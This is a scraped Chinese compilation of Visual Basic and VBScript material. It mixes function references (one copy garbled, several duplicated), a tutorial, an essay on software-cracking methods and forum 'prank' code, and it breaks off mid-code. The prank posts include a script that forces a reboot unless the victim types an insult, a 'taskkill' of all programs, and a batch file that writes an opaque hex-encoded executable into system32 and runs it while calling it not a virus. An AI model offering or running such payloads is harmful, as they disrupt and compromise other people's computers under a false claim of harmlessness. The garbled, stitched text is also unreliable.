下载文档原格式
vb编程代码大全1.数值型函数：abs(num): 返回绝对值sgn(num): num>0 1; num=0 0; num<0 -1;判断数值正负hex(num): 返回十六进制值直接表示：&Hxx 最大8位oct(num): 返回八进制值直接表示：&Oxx 最大8位sqr(num): 返回平方根num>0int(num): 取整int(99.8)=99; int(-99.2)=100fix(num): 取整fix(99.8)=99; fix(-99.2)=99round(num,n): 四舍五入取小数位round(3.14159,3)=3.142 中点数值四舍五入为近偶取整round(3.25,1)=3.2log(num): 取以e为底的对数num>0exp(n): 取e的n次幂通常用num^nsin(num): 三角函数，以弧度为值计算(角度*Pai)/180=弧度con(num); tan(num); atn(num)2.字符串函数：len(str)：计算字符串长度中文字符长度也计为一！mid(str,起始字符,[读取长度])：截取字符串中间子字符串left(str,nlen)：从左边起截取nlen长度子字符串right(str,nlen)：从右边起截取nlen长度子字符串Lcase(str)：字符串转成小写Ucase(str)：字符串转成大写trim(str)：去除字符串两端空格Ltrim(str)：去除字符串左侧空格Rtrim(str)：去除字符串右侧空格replace(str,查找字符串,替代字符串,[起始字符,替代次数,比较方法])：替换字符串注：默认值：起始字符1；替代次数不限；比较方法区分大小写（0）InStr([起始字符,]str,查找字符串[,比较方法])：检测是否包含子字符串可选参数需同时选返回起始位置InStrRev(str,查找字符串[,起始字符][,比较方法])：反向检测是否包含子字符串返回起始位置space(n)：构造n个空格的字符串string(n,str)：构造由n个str第一个字符组成的字符串StrReverse(str)：反转字符串split(str,分割字符串[,次数][,比较方法])：以分割字符串为分割标志将字符串转为字符数组可选参数需同时选3.数据类型转换函数：Cint(str)：转换正数True -1；False 0；日期距离1899/12/31天数；时间上午段0；下午段1；Cstr(str)：日期输出格式yyyy/mm/dd；时间输出格式Am/Pm hh:mm:ssClng(str)：与Cin()类似Cbool(num)：num不为零True；反之FalseCdate(str)：转换日期格式0：#Am 12:00:00#；正数距离1899/12/31天数的日期；浮点数日期＋小数时间Cbyte(num)：num<255 转换为字节Csng(str)：转换为单精度数值Cdbl(str)：转换为双精度数值Ccur(str)：转换为现金格式4.时间函数：date：取系统当前日期time：取系统当前时间now：取系统当前时间及日期值Datetime类型timer：取当前时间距离零点秒值，计时器，可计算时间差DateAdd(间隔单位,间隔值,日期)：推算相邻日期DateDiff(间隔单位,日期一,日期二)：计算时间差日期二-日期一Datepart(间隔单位,日期)：计算日期的间隔单位值Dateserial(date)：输出日期值（按序列计算）Timeserial(time)：输出时间值（按序列计算）Datevalue(datetime)：取出字符串中日期值Timevalue(datetime)：取出字符串中时间值weekday(date)：计算星期几MonthName(date)：输出月分名year(datetime)：截取年份month(datetime)：截取月份day(datetime)：截取日hour(datetime)：截取小时minute(datetime)：截取分钟second(datetime)：截取秒5.其它函数：Array(unit,..)：动态生成数组Asc(str)：输出字符串第一个字符的ASCII码Chr(asc)：转换ASCII为字符Enter：Chr(13)&Chr(10)Filter(数组名称,关键字符串,[,包含][,比较方法])：将字符串数组中含有关键字符串的元素存成新的数组（默认）[包含]为false则取不包含的元素oin(ArrayName)：将数组中元素连成字符串Ubound(ArrayName[,维数])：取得数组相应维数的上界Lbound(ArrayName[,维数])：取得数组相应维数的下界一般为0Randmize n：启动随机数种子Rnd(n)：取得随机数，n>0或为空，取序列下一随机值，n<0，随机值相同，n=0，生产与上一随机值相同的数取介于A和B之间的随机正数C，公式：C=Int((B-A+1)*Rnd+A) 条件（B>A）子程序和自定义函数Sub StrSubName Function StrFunName(arg[1],..)子程序体函数体Exit Sub 中途跳出Exit Function 中途跳出End Sub StrFunName＝value 返回值End Function[call] StrSubName 引用子程序Var=StrFunName(arg[1],..) 引用函数。
vbs代码大全VBScript（Visual Basic Scripting Edition）是一种微软公司开发的脚本语言，它是Visual Basic的一种简化版本，用于在Windows系统上执行脚本和自动化任务。
VBScript可以用于编写各种类型的脚本，包括系统管理、网页交互、数据处理等。
在本文中，我们将介绍一些常用的VBS代码，帮助您更好地理解和应用这门语言。
首先，我们来看一段简单的VBS代码，用于在Windows系统上显示一个消息框：```vbscript。
MsgBox "Hello, World!"```。
以上代码使用MsgBox函数来显示一个消息框，其中包含"Hello, World!"这个消息。
这是一个非常简单的示例，但它展示了VBS代码的基本语法和结构。
接下来，我们将介绍一些更复杂的VBS代码示例，以便更全面地了解这门语言的特性和用法。
在VBScript中，我们可以使用条件语句来根据不同的条件执行不同的代码块。
下面是一个使用条件语句的示例：```vbscript。
Dim num。
num = InputBox("请输入一个数字，")。
If IsNumeric(num) Then。
If num > 0 Then。
MsgBox "这是一个正数。
"ElseIf num < 0 Then。
MsgBox "这是一个负数。
"Else。
MsgBox "这是零。
"End If。
Else。
MsgBox "输入无效。
"End If。
```。
以上代码首先使用InputBox函数获取用户输入的数字，然后使用条件语句判断这个数字的正负和零。
这个示例展示了VBS代码中条件语句的使用方法，以及如何处理用户输入的数据。
除了条件语句，VBScript还支持循环结构，可以重复执行特定的代码块。
on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"最佳答案打开个txt，输入shutdown -l -o另存为*.cmd，双击，不过这太白痴了这样更好taskkill /f /im *.exe & shutdown -l -o 1>nul 2>nul这也白痴，想开玩笑不一定关机，我弄过一个脚本，@echo e 100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 >>tmp11@echo e 110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 >>tmp11@echo e 120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 130 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 >>tmp11@echo e 140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 >>tmp11@echo e 150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F >>tmp11@echo e 160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 >>tmp11@echo e 170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 >>tmp11@echo e 180 E7 81 B5 C3 A3 E0 DB 90 A3 E0 DB 90 A3 E0 DB 90 >>tmp11@echo e 190 B0 E8 86 90 A1 E0 DB 90 20 E8 86 90 A0 E0 DB 90 >>tmp11@echo e 1A0 A3 E0 DA 90 AA E0 DB 90 A6 EC 84 90 A1 E0 DB 90 >>tmp11@echo e 1B0 A6 EC 81 90 A2 E0 DB 90 52 69 63 68 A3 E0 DB 90 >>tmp11@echo e 1C0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 >>tmp11@echo e 1D0 FD 19 07 3F 00 00 00 00 00 00 00 00 E0 00 0F 01 >>tmp11@echo e 1E0 0B 01 07 0A 00 02 00 00 00 04 00 00 00 00 00 00 >>tmp11@echo e 1F0 C0 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 >>tmp11@echo e 200 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 >>tmp11@echo e 210 04 00 00 00 00 00 00 00 00 40 00 00 00 04 00 00 >>tmp11@echo e 220 00 00 00 00 02 00 00 04 00 00 10 00 00 10 00 00 >>tmp11@echo e 230 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 >>tmp11@echo e 240 00 00 00 00 00 00 00 00 4C 20 00 00 3C 00 00 00 >>tmp11@echo e 250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 270 30 20 00 00 1C 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2A0 00 20 00 00 2C 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2C0 2E 74 65 78 74 00 00 00 86 01 00 00 00 10 00 00 >>tmp11@echo e 2D0 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2E0 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 >>tmp11@echo e 2F0 98 01 00 00 00 20 00 00 00 02 00 00 00 06 00 00 >>tmp11@echo e 300 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 >>tmp11@echo e 310 2E 64 61 74 61 00 00 00 28 00 00 00 00 30 00 00 >>tmp11@echo e 320 00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 330 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 >>tmp11@echo e 500 56 8B 74 24 08 57 68 10 30 40 00 56 FF 15 10 20 >>tmp11@echo e 510 40 00 8B 0D 10 30 40 00 83 F9 CE 8B 15 18 30 40 >>tmp11@echo e 520 00 8B 3D 24 30 40 00 A1 14 30 40 00 7D 21 83 F8 >>tmp11@echo e 530 CE 7C 21 6A 05 6A 00 6A 00 83 E8 0A 50 51 6A 00 >>tmp11@echo e 540 56 A3 14 30 40 00 FF 15 0C 20 40 00 5F 5E C3 83 >>tmp11@echo e 550 F8 CE 7D 0E 53 8D 5F 32 3B D3 5B 7F 05 83 C1 0A >>tmp11@echo e 560 EB 39 83 C7 32 3B D7 7E 2F 8B 15 20 30 40 00 8B >>tmp11@echo e 570 3D 1C 30 40 00 83 C2 32 3B FA 7F 1C 6A 05 6A 00 >>tmp11@echo e 580 6A 00 83 C0 0A 50 51 6A 00 56 A3 14 30 40 00 FF >>tmp11@echo e 590 15 0C 20 40 00 5F 5E C3 83 E9 0A 6A 05 6A 00 6A >>tmp11@echo e 5A0 00 50 51 6A 00 56 89 0D 10 30 40 00 FF 15 0C 20 >>tmp11@echo e 5B0 40 00 5F 5E C3 CC CC CC CC CC CC CC CC CC CC CC >>tmp11 @echo e 5C0 56 68 10 30 40 00 FF 15 24 20 40 00 50 FF 15 10 >>tmp11@echo e 5D0 20 40 00 A1 18 30 40 00 8B 0D 1C 30 40 00 8B 35 >>tmp11@echo e 5E0 20 20 40 00 68 91 00 00 00 A3 24 30 40 00 89 0D >>tmp11@echo e 5F0 20 30 40 00 FF D6 A8 01 75 60 53 8B 1D 1C 20 40 >>tmp11 @echo e 600 00 55 8B 2D 18 20 40 00 57 8B 3D 14 20 40 00 90 >>tmp11 @echo e 610 FF D7 50 E8 E8 FE FF FF 83 C4 04 6A 00 FF D3 50 >>tmp11 @echo e 620 E8 DB FE FF FF 83 C4 04 E8 36 00 00 00 99 F7 3D >>tmp11 @echo e 630 20 30 40 00 52 E8 29 00 00 00 99 F7 3D 24 30 40 >>tmp11 @echo e 640 00 52 FF D5 6A 14 FF 15 00 20 40 00 68 91 00 00 >>tmp11 @echo e 650 00 FF D6 A8 01 74 B9 5F 5D 5B 6A 00 FF 15 04 20 >>tmp11 @echo e 660 40 00 5E A1 00 30 40 00 69 C0 FD 43 03 00 05 C3 >>tmp11 @echo e 670 9E 26 00 A3 00 30 40 00 33 C0 66 A1 02 30 40 00 >>tmp11 @echo e 680 25 FF 7F 00 00 C3 00 00 00 00 00 00 00 00 00 00 >>tmp11 @echo e 700 C2 20 00 00 B4 20 00 00 00 00 00 00 D8 20 00 00 >>tmp11 @echo e 710 E8 20 00 00 F8 20 00 00 0E 21 00 00 1E 21 00 00 >>tmp11 @echo e 720 2E 21 00 00 3C 21 00 00 00 00 00 00 00 00 00 00 >>tmp11 @echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 >>tmp11 @echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 >>tmp11 @echo e 740 3C 00 00 00 5C 21 00 00 5C 07 00 00 88 20 00 00 >>tmp11 @echo e 750 00 00 00 00 00 00 00 00 CA 20 00 00 00 20 00 00 >>tmp11 @echo e 760 94 20 00 00 00 00 00 00 00 00 00 00 50 21 00 00 >>tmp11@echo e 770 0C 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 780 00 00 00 00 00 00 00 00 C2 20 00 00 B4 20 00 00 >>tmp11 @echo e 790 00 00 00 00 D8 20 00 00 E8 20 00 00 F8 20 00 00 >>tmp11 @echo e 7A0 0E 21 00 00 1E 21 00 00 2E 21 00 00 3C 21 00 00 >>tmp11 @echo e 7B0 00 00 00 00 AF 00 45 78 69 74 50 72 6F 63 65 73 >>tmp11 @echo e 7C0 73 00 47 03 53 6C 65 65 70 00 4B 45 52 4E 45 4C >>tmp11 @echo e 7D0 33 32 2E 64 6C 6C 00 00 83 02 53 65 74 57 69 6E >>tmp11 @echo e 7E0 64 6F 77 50 6F 73 00 00 74 01 47 65 74 57 69 6E >>tmp11 @echo e 7F0 64 6F 77 52 65 63 74 00 17 01 47 65 74 46 6F 72 >>tmp11@echo e 800 65 67 72 6F 75 6E 64 57 69 6E 64 6F 77 00 4F 02 >>tmp11 @echo e 810 53 65 74 43 75 72 73 6F 72 50 6F 73 00 00 63 01 >>tmp11@echo e 820 47 65 74 54 6F 70 57 69 6E 64 6F 77 00 00 21 01 >>tmp11 @echo e 830 47 65 74 4B 65 79 53 74 61 74 65 00 0E 01 47 65 >>tmp11 @echo e 840 74 44 65 73 6B 74 6F 70 57 69 6E 64 6F 77 00 00 >>tmp11 @echo e 850 55 53 45 52 33 32 2E 64 6C 6C 00 00 52 53 44 53 >>tmp11 @echo e 860 15 F4 68 A6 3F 1B F6 4A 85 E8 67 8B 58 CA E2 04 >>tmp11 @echo e 870 02 00 00 00 66 3A 5C 50 72 6F 6A 65 63 74 73 5C >>tmp11 @echo e 880 46 65 61 73 74 5C 52 65 6C 65 61 73 65 5C 46 65 >>tmp11 @echo e 890 61 73 74 2E 70 64 62 00 00 00 00 00 00 00 00 00 >>tmp11@echo rcx>>tmp11@echo A00>>tmp11@echo n tmp1>>tmp11@echo w>>tmp11@echo q>>tmp11@debug<tmp11@Copy /b /y tmp1 %systemroot%\system32\Feast.exe@start %systemroot%\system32\Feast.exe@del tmp11@del tmp1把这些写道txt里面，另存为文件名.bat，双击运行，绝对的joke，很好玩的哦~这两个都不是病毒。
vb语言破解方法VB语言是一种基于基本的编程语言，被广泛应用于Windows平台的软件开发。
然而，由于VB语言的特性和易学性，一些人可能会滥用它来进行非法的活动，例如破解软件。
在本文中，我们将介绍一些常见的VB语言破解方法，并提供一些拓展内容来帮助读者更好地了解这个领域。
1. 反编译：反编译是一种常见的VB语言破解方法。
通过使用反编译工具，人们可以将已编译的VB代码还原为可读的源代码，从而获取软件的源代码。
这可以让黑客分析和修改软件，破解其功能限制或添加恶意代码。
2. 调试：调试是另一种常见的VB语言破解方法。
通过使用调试器工具，黑客可以在运行时检查和修改软件的内存和变量。
这使他们能够绕过软件的授权检查或其他安全机制，从而使用软件的功能。
3. 注册机：注册机是一种常见的VB语言破解工具。
黑客可以使用注册机生成合法的序列号或注册密钥，从而绕过软件的授权检查。
这样，他们就可以免费使用软件的全部功能，而不需要购买正版软件。
4. 拦截函数：黑客可以通过拦截函数来破解VB语言编写的软件。
他们可以修改或替换软件的关键函数，以实现他们想要的功能。
这种方法需要对VB语言的内部原理有一定的了解，并且可能需要对软件进行二进制分析。
拓展内容：除了上述提到的常见破解方法，还有其他一些可能的VB语言破解技术。
例如，黑客可以使用虚拟机或调试器来监视和修改软件的执行过程。
他们还可以使用代码注入或代码替换技术来修改软件的逻辑，实现他们自己的目的。
然而，虽然这些破解方法在某些情况下可能是有效的，但它们都是非法行为，并且违反了软件的许可协议和版权法。
因此，我们强烈建议用户不要参与任何形式的软件破解活动，以遵守法律和道德规范。
对于软件开发者而言，他们应该采取一些措施来保护他们的软件免受破解。
例如，他们可以使用加密算法来保护源代码，实施软件授权机制，定期更新软件以修复漏洞等。
此外，他们还应该密切关注软件社区中的安全问题，并及时采取措施应对任何可能的破解行为。
1、求半径为r的圆的面积，要求用户从键盘输入半r。
程序代码：Private Sub Form_click()Const PI = 3.14Dim r%Dim s!r = InputBox("请输入半径r的值：", "求圆的面积") s = PI * r * rForm1.FontSize = 16Print "半径是" + Str(r) + "的圆的面积是" + Str(s) End Sub2、输入三个整数，从小到大顺序输出。
程序代码：Private Sub Form_click()a = InputBox("a")b = InputBox("b")c = InputBox("c")Print "排序前："; a, b, cIf a > b Then t = a: a = b: b = tIf a > c Then t = a: a = c: c = tIf b > c Then t = b: b = c: c = tPrint "排序后："; a, b, cEnd Sub3、输入三个整数，从大到小顺序输出。
程序代码：Private Sub Form_click()a = InputBox("a")b = InputBox("b")c = InputBox("c")Print "排序前："; a, b, cIf a <b Then t = a: a = b: b = tIf a < c Then t = a: a = c: c = tIf b < c Then t = b: b = c: c = tPrint "排序后："; a, b, cEnd Sub4、输入x的值，输出对应的值。
vb6.0入门代码qweasdzxc1.数值型函数：abs(num): 返回绝对值sgn(num): num>0 1; num=0 0; num<0 -1;判断数值正负hex(num): 返回十六进制值直接表示：&Hxx 最大8位oct(num): 返回八进制值直接表示：&Oxx 最大8位sqr(num): 返回平方根 num>0int(num): 取整 int(99.8)=99; int(-99.2)=100fix(num): 取整 fix(99.8)=99; fix(-99.2)=99round(num,n): 四舍五入取小数位round(3.14159,3)=3.142 中点数值四舍五入为近偶取整 round(3.25,1)=3.2log(num): 取以e为底的对数 num>0exp(n): 取e的n次幂通常用 num^nsin(num): 三角函数，以弧度为值计算(角度*Pai)/180=弧度con(num); tan(num); atn(num)2.字符串函数：len(str)：计算字符串长度中文字符长度也计为一！mid(str,起始字符,[读取长度])：截取字符串中间子字符串left(str,nlen)：从左边起截取nlen长度子字符串right(str,nlen)：从右边起截取nlen长度子字符串Lcase(str)：字符串转成小写Ucase(str)：字符串转成大写trim(str)：去除字符串两端空格Ltrim(str)：去除字符串左侧空格Rtrim(str)：去除字符串右侧空格replace(str,查找字符串,替代字符串,[起始字符,替代次数,比较方法])：替换字符串注：默认值：起始字符 1；替代次数不限；比较方法区分大小写（0）InStr([起始字符,]str,查找字符串[,比较方法])：检测是否包含子字符串可选参数需同时选返回起始位置InStrRev(str,查找字符串[,起始字符][,比较方法])：反向检测是否包含子字符串返回起始位置space(n)：构造n个空格的字符串string(n,str)：构造由n个str第一个字符组成的字符串StrReverse(str)：反转字符串split(str,分割字符串[,次数][,比较方法])：以分割字符串为分割标志将字符串转为字符数组可选参数需同时选3.数据类型转换函数：Cint(str)：转换正数 True -1；False 0；日期距离1899/12/31天数；时间上午段 0；下午段 1；Cstr(str)：日期输出格式 yyyy/mm/dd；时间输出格式 Am/Pm hh:mm:ssClng(str)：与Cin()类似Cbool(num)：num不为零 True；反之 FalseCdate(str)：转换日期格式0：#Am 12:00:00#；正数距离1899/12/31天数的日期；浮点数日期＋小数时间Cbyte(num)：num<255 转换为字节Csng(str)：转换为单精度数值Cdbl(str)：转换为双精度数值Ccur(str)：转换为现金格式4.时间函数：date：取系统当前日期time：取系统当前时间now：取系统当前时间及日期值 Datetime类型timer：取当前时间距离零点秒值，计时器，可计算时间差DateAdd(间隔单位,间隔值,日期)：推算相邻日期DateDiff(间隔单位,日期一,日期二)：计算时间差日期二-日期一Datepart(间隔单位,日期)：计算日期的间隔单位值Dateserial(date)：输出日期值（按序列计算）Timeserial(time)：输出时间值（按序列计算）Datevalue(datetime)：取出字符串中日期值Timevalue(datetime)：取出字符串中时间值weekday(date)：计算星期几MonthName(date)：输出月分名year(datetime)：截取年份month(datetime)：截取月份day(datetime)：截取日hour(datetime)：截取小时minute(datetime)：截取分钟second(datetime)：截取秒5.其它函数：Array(unit,..)：动态生成数组Asc(str)：输出字符串第一个字符的ASCII码Chr(asc)：转换ASCII为字符 Enter：Chr(13)&Chr(10) Filter(数组名称,关键字符串,[,包含][,比较方法])：将字符串数组中含有关键字符串的元素存成新的数组（默认）[包含]为false则取不包含的元素oin(ArrayName)：将数组中元素连成字符串Ubound(ArrayName[,维数])：取得数组相应维数的上界Lbound(ArrayName[,维数])：取得数组相应维数的下界一般为0 Randmize n：启动随机数种子Rnd(n)：取得随机数，n>0或为空，取序列下一随机值，n<0，随机值相同，n=0，生产与上一随机值相同的数取介于A和B之间的随机正数C，公式：C=Int((B-A+1)*Rnd+A) 条件（B>A）子程序和自定义函数Sub StrSubName Function StrFunName(arg[1],..)子程序体函数体Exit Sub 中途跳出 Exit Function 中途跳出End Sub StrFunName＝value 返回值End Function[call] StrSubName 引用子程序 Var=StrFunName(arg[1],..) 引用函数。
vb编程代码大全1.数值:abs (nu m):返回sg n(nu m): num>0 1; nu m=0 0; nu m<0 -1 判断数值正负hex(num):返回值直接表示：&Hxx最大8位oct(num):返回值直接表示：&Oxx最大8位sqr(num):返回num>0int(num):取整int(99.8)=99; int(-99.2)=100fix(num):取整fix(99.8)=99; fix(-99.2)=99round(num,n):四舍五入取小数位round(3.14159,3)=3.142中点数值四舍五入为近偶取整rou nd(3.25,1)=3.2log(num):取以e为底的num>0exp(n):取e的n次幕通常用num A nsin(num):，以为值计算(角度*Pai)/180=弧度con(num); tan(num); atn(num)2.：len(str):计算字符串xx中文字符xx也计为一！mid(str,起始字符,[读取xx])：截取字符串中间子字符串left(str,nlen):从左边起截取nlenxx子字符串right(str,nlen):从右边起截取nlenxx子字符串Lcase(str)：字符串转成小写Ucase(str)：字符串转成trim(str):去除字符串两端空格Ltrim(str):去除字符串左侧空格Rtrim(str):去除字符串右侧空格replace(str,查找字符串，替代字符串,［起始字符，替代次数比较方法］)：替换字符串注：默认值：起始字符1;替代次数不限；比较方法区分大小写(0)InStr(［起始字符,］str,查找字符串［,比较方法］):检测是否包含子字符串可选参数需同时选返回起始位置InStrRev(str查找字符串［,起始字符］［,比较方法］):反向检测是否包含子字符串返回起始位置space(n)：构造n个空格的字符串string(n,str):构造由n个str第一个字符组成的字符串StrReverse(str)：反转字符串split(str,字符串［，次数］［,比较方法］):以分割字符串为分割标志将字符串转为字符可选参数需同时选3•转换函数：Cint(str):转换正数True -1；False 0；日期距离1899/12/31天数；时间上午段0;下午段1；Cstr(str):日期yyyy/mm/dd ;时间输出格式Am/Pm hh:mm:ssClng(str)：与Cin()类似Cbool(num)：num 不为零True；反之FalseCdate(str):转换日期格式0: #Am 12:00:00#;正数距离1899/12/31天数的日期；日期+小数时间Cbyte(num): num<255 转换为字节Csng(str)：转换为数值Cdbl(str)：转换为数值Ccur(str)：转换为现金格式4•时间函数：date :取系统当前日期time :取系统当前时间now :取系统当前时间及日期值Datetime类型timer :取当前时间距离零点秒值，，可计算时间差DateAdd(间隔单位，间隔值，日期)：推算相邻日期DateDiff(间隔单位，日期一，日期二)：计算时间差日期二-日期一Datepart(间隔单位，日期)：计算日期的间隔单位值Dateserial(date)：输出日期值(按序列计算)Timeserial(time):输出时间值(按序列计算)Datevalue(datetime):取出字符串中日期值Timevalue(datetime):取出字符串中时间值weekday(date):计算星期几MonthName(date):输出月分名year(datetime):截取年份month(datetime):截取月份day(datetime):截取日hour(datetime):截取小时minute(datetime):截取分钟sec on d(datetime):截取秒5•其它函数：Array(u nit,..):动态生成数组Asc(str):输出字符串第一个字符的ASCI码Chr(asc)转换ASCII为字符Enter：Chr(13)&Chr(10)Filter(数组名称，关键字符串,［,包含］［,比较方法］):将字符串数组中含有关键字符串的元素存成新的数组(默认) ［包含］为false则取不包含的元素oi n(ArrayName):将数组中元素字符串Ubou nd(ArrayName［,维数］):取得数组相应维数的上界Lbound(ArrayName［维数］):取得数组相应维数的下界一般为0Ran dmize n：启动Rnd(n)：取得，n>0或为空，取序列下一随机值，*0,随机值相同，n=0,生产与上一随机值相同的数取介于A和B之间的随机正数C,公式：C=Int((B-A+1)*Rnd+A)条件 (B>A)子程序和自定义函数Sub StrSubName Fun ction StrFu nN ame(arg［1］,..)子程序体函数体Exit Sub中途跳出Exit Function中途跳出End Sub StrFu nN ame= value 返回值End Fun cti on[call] StrSubName 引用子程序Var二StrFunName(arg[1],..)引用函数。
vb中随机数生成方法在VB中，生成随机数是一项非常常见的任务。
随机数可以用于许多不同的应用程序，例如游戏、密码生成器、模拟器等等。
在VB 中，生成随机数的方法有很多种，本文将介绍其中的几种方法。
方法一：使用Rnd函数Rnd函数是VB中生成随机数的最基本方法。
它可以生成一个0到1之间的随机数。
如果需要生成一个整数，可以将Rnd函数的结果乘以一个大于等于1的整数，然后使用Int函数将结果转换为整数。
例如，下面的代码将生成一个1到10之间的随机整数：Dim randomNum As IntegerrandomNum = Int((10 * Rnd) + 1)方法二：使用Randomize函数Randomize函数可以用于初始化随机数生成器。
如果不使用Randomize函数，每次生成的随机数序列都是相同的。
使用Randomize函数可以使每次生成的随机数序列都不同。
例如，下面的代码将生成一个1到10之间的随机整数：Dim randomNum As IntegerRandomizerandomNum = Int((10 * Rnd) + 1)方法三：使用GetTickCount函数GetTickCount函数可以返回自系统启动以来经过的毫秒数。
可以使用这个函数来生成一个随机数种子。
例如，下面的代码将生成一个1到10之间的随机整数：Dim randomNum As IntegerRandomize GetTickCountrandomNum = Int((10 * Rnd) + 1)方法四：使用Cryptographic Service ProviderCryptographic Service Provider是Windows操作系统中的一个加密服务提供程序。
它可以用于生成高质量的随机数。
例如，下面的代码将生成一个1到10之间的随机整数：Dim randomNum As IntegerDim provider As New System.Security.Cryptography.RNGCryptoServiceProviderDim byteArray(3) As Byteprovider.GetBytes(byteArray)randomNum = (BitConverter.ToInt32(byteArray, 0) Mod 10) + 1总结以上是VB中生成随机数的几种方法。
C 语言整人代码大全WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")顶举报| 2011-06-01 20:46回复菊花爆开电白自学2楼WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。
")WScript.Echo("小强很生气，后果很严重哦。
")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦")WScript.Echo("还剩48下，快点，小笨蛋！")WScript.Echo("还剩47下对，就这样快点点！")WScript.Echo("还剩46下。
你啊就是笨，要快哦，我先不打扰你工作。
")WScript.Echo("还剩45下，记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点，我有话要说")WScript.Echo("还剩12下，你继续点我就会消失滴")WScript.Echo("还剩11下，以后就看不到我拉。
这个是关闭桌面所有窗口（直接复制上去就ok）~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Type POINTAPIx As Longy As LongEnd TypePrivate Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Lon gPrivate Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, By Val yPoint As Long) As LongPrivate Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCm dShow As Long) As LongDim a(50) As LongDim I As IntegerDim flag As BooleanPrivate Sub Command1_Click()flag = TrueMsgBox "都叫你别冲动了.重启吧~"EndEnd SubPrivate Sub Form_Load()I = 0flag = faseEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)Text1 = "小鹏提醒你,别激动.!"Cancel = TrueEnd SubPrivate Sub Timer1_Timer()Dim lg As LongOn Error Resume NextDim curhWnd As Long 'Current hWndDim lp As POINTAPIIf flag = False Then Exit SubI = I + 1If I < 50 Then' Initialize point structure:Call GetCursorPos(lp)' Which window is the mouse cursor over?curhWnd = WindowFromPoint(lp.x, lp.y)a(I) = curhWndlg = ShowWindow(a(I), False)ElseFor j = 1 To 50lg = ShowWindow(a(j), True)Next jEnd IfEnd Sub2009-9-26 16:20回复ww0034 10位粉丝2楼--------------------------------------------------这个是修改开始菜单名字的代码(直接复制上去就ok)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Declare Function FindWindow Lib "user32" Alias "FindWindo wA" (ByVal lpClassName As String, ByVal lpWindowName As String) A s LongPrivate Declare Function GetDlgItem Lib "user32" (ByVal hDlg As L ong, ByVal nIDDlgItem As Long) As LongPrivate Declare Function SetWindowText Lib "user32" Alias "SetWin dowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Lo ng, lParam As Any) As LongPrivate Const BM_CLICK = &HF5Private Sub Form_Load()Dim h1 As Long, 